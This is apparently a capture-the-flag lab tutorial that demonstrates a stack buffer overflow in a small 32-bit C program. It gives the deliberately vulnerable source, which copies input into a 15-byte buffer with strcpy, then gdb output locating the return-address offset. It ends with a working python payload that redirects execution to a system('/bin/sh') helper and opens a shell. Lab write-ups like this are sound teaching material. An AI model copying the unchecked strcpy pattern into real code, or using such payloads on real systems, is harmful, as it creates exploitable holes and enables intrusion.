in ctf tutorial exploit

Binary Exploit: Pass argument to function

In this binary we must use a buffer overflow to jump to a function in the binary and pass a string also in the binary to the function


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector code.c -o out
 */

char* exec_string = "/bin/sh";

void shell(char* cmd)
{
	system(cmd);
}

void print_name(char* input)
{
	char buf[15];
	strcpy(buf, input);
	printf("Hello %s\n", buf);
}

int main(int argc, char** argv)
{
	if(argc != 2)
	{
		printf("usage:\n%s string\n", argv[0]);
		return EXIT_FAILURE;
	}

	print_name(argv[1]);

	return EXIT_SUCCESS;
}

Running the binary we can see that it takes in a argument and strcpys that into a buf. It then prints out what is in buf. Playing around with it we get a segfault with an input of 23 characters.

./lab $(python -c 'print "A"*23')
Hello AAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Loading it in gdb we must now see how many characters it takes to start overwriting the instruction pointer. With some trial and error we can see that starting at offset 27 we can start overwriting EIP.

gdb-peda$ r $(python -c 'print "A"*28')
Starting program: /levels/lab02/lab2B $(python -c 'print "A"*28')
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x23 ('#')
EBX: 0xb7fcd000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0xb7fce898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6b0 --> 0xbffff8a8 ('A' <repeats 28 times>)
EIP: 0x8040041
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x8040041
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b0 --> 0xbffff8a8 ('A' <repeats 28 times>)
0004| 0xbffff6b4 --> 0xb7fff000 --> 0x20f34 
0008| 0xbffff6b8 --> 0x804874b (<__libc_csu_init+11>:	add    ebx,0x18b5)
0012| 0xbffff6bc --> 0xb7fcd000 --> 0x1a9da8 
0016| 0xbffff6c0 --> 0x8048740 (<__libc_csu_init>:	push   ebp)
0020| 0xbffff6c4 --> 0x0 
0024| 0xbffff6c8 --> 0x0 
0028| 0xbffff6cc --> 0xb7e3ca83 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08040041 in ?? ()

Now that we control EIP we can look at the orginal source of the binary and see that they have include this function

void shell(char* cmd)
{
	system(cmd);
}

Shell takes in a char* pointer argument. For this binary we are interested in running system with /bin/sh to get a shell. So we can pass in the variable that is also included in the binary:

char* exec_string = "/bin/sh";

First we must find the addresses of the function shell and the variable exec_sting

gdb-peda$ x/s shell
0x80486bd :	"U\211\345\203\354\030\213E\b\211\004$\350\302\376\377\377\311\303U\211\345\203\354(\213E\b\211D$\004\215E\351\211\004$\350\230\376\377\377\215E\351\211D$\004\307\004$؇\004\b\350u\376\377\377\311\303U\211\345\203\344\360\203\354\020\203}\b\002t\034\213E\f\213"
gdb-peda$ x/s exec_string 
0x80487d0:	"/bin/sh"

To complete the exploit we can now pass in the address of shell into EIP followed by four bytes of anything because we are not interested in returning after this function and finally the first argument which will be the address of exec_string. The stack will look like this

Final exploit looks like this:

$ ./lab $(python -c 'print "A"*27+"\xbd\x86\x04\x08"+"AAAA"+"\xd0\x87\x04\x08"')
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAЇ
$ whoami 
nextlab